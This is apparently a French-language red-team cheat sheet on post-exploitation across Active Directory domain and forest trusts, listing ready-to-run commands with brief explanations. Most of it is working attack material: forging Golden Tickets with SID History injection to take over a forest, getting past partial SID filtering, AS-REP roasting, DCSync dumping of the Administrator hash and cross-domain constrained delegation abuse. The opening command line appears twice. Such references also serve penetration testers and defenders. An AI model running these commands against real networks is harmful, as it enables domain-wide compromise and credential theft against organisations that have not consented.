nxc ldap $DC -u $USER -p $PASS --trusted-for-delegationDescription: Point de départ : identifier si le domaine courant fait partie d'une forêt ou a des trusts sortants/entrants.
Post-Exploitation
Franchir une frontière de domaine ou de forêt : SID History, DACL inter-domaine et délégation contrainte à travers un trust.
nxc ldap $DC -u $USER -p $PASS --trusted-for-delegationDescription: Point de départ : identifier si le domaine courant fait partie d'une forêt ou a des trusts sortants/entrants.
nltest /domain_trusts /all_trusts /vDescription: Depuis un hôte joint au domaine : liste les trusts avec direction (inbound/outbound/bidirectional) et type (parent-child, forest, external).
bloodhound-python -u $USER -p $PASS -d $DOMAIN -ns $DC -c All --zipDescription: Les edges BloodHound (SameForestTrust, CrossForestTrust) donnent une vue graphique des chemins inter-domaines, à croiser avec les ACL locales de chaque domaine.
bloodyAD -d $DOMAIN -u $USER -p $PASS -H $DC get children 'CN=ForeignSecurityPrincipals,DC=...' --attr objectSidDescription: Chaque objet ForeignSecurityPrincipal (SID sous forme de CN, ex: CN=S-1-5-11) représente un principal d'un domaine de confiance auquel des droits ont été accordés localement. Un droit WRITE dessus (vu en conditions réelles sur HTB DarkZeroReturns) confirme qu'un compte de l'autre côté du trust a une prise directe sur ce domaine.
ticketer.py -nthash $KRBTGT_CHILD_HASH -domain-sid $CHILD_SID -domain $CHILD_DOMAIN -extra-sid $PARENT_SID-519 AdministratorDescription: DA d'un domaine enfant = compromission de toute la forêt : forger un Golden Ticket avec le krbtgt de l'enfant, en injectant le SID Enterprise Admins du parent via -extra-sid (SID History).
nxc smb $PARENT_DC -k -u Administrator --use-kcacheDescription: Le ticket forgé n'est valide que si SID filtering n'est pas activé sur le trust (souvent désactivé par défaut sur les trusts parent-enfant intra-forêt, contrairement aux trusts externes).
lookupsid.py '$DOMAIN/$USER:$PASS@$OTHER_DC' 2000Description: Même quand SIDFilteringForestAware bloque les SID < 1000 (Enterprise/Domain Admins filtrés), les groupes locaux/custom avec un RID ≥ 1000 passent le filtre (filtrage partiel, pas total). Énumérer les RID au-delà de 1000 pour trouver un groupe utile côté domaine cible.
bloodyAD -d $DOMAIN -u $USER -p $PASS -H $OTHER_DC get membership '$GROUP_RID_1000_PLUS'Description: Vérifier ce que ce groupe RID ≥ 1000 apporte réellement (ex: membre de Backup Operators via un SID intégré S-1-5-32-xxx) avant de forger le ticket avec -extra-sid dessus.
GetNPUsers.py $DOMAIN/$USER -no-pass -dc-ip $DC -requestDescription: Sur un domaine séparé (deux forêts distinctes reliées par un trust, pas de relation parent-enfant), l'enum classique repart de zéro : AS-REP roasting reste souvent le point d'entrée le plus rapide.
secretsdump.py $DOMAIN/$USER:$PASS@$DC -just-dc-user AdministratorDescription: Un compte compromis avec GetChangesAll (droits DCSync) sur ce second domaine donne l'admin directement, sans jamais passer par un chemin de délégation classique. À vérifier systématiquement après compromission d'un compte quelconque, l'ACL est parfois mal configurée.
getST.py -spn $SPN -impersonate $TARGET_USER $DOMAIN/$COMPUTER'$' -hashes :$NTHASHDescription: Si le trust supporte la délégation contrainte inter-domaine (trustedtoauth sur un compte machine/gMSA), la même mécanique de protocol transition s'applique à travers la frontière de domaine.
kvno cifs/$OTHER_DC_FQDN@$OTHER_REALM # puis klistDescription: Sur un trust de forêt à forêt (pas parent-enfant), l'injection SID History (-extra-sid) fonctionne aussi via le même mécanisme ExtraSID, à condition d'utiliser un SID de groupe au RID ≥ 1000 (cf. filtrage partiel ci-dessus). Pour confirmer que le trust accepte réellement le ticket avant de l'utiliser : demander un TGS pour un service de l'autre royaume force un referral inter-realm. klist doit alors afficher un ticket krbtgt/$OTHER_REALM@$THIS_REALM intermédiaire, preuve que le referral a été accordé.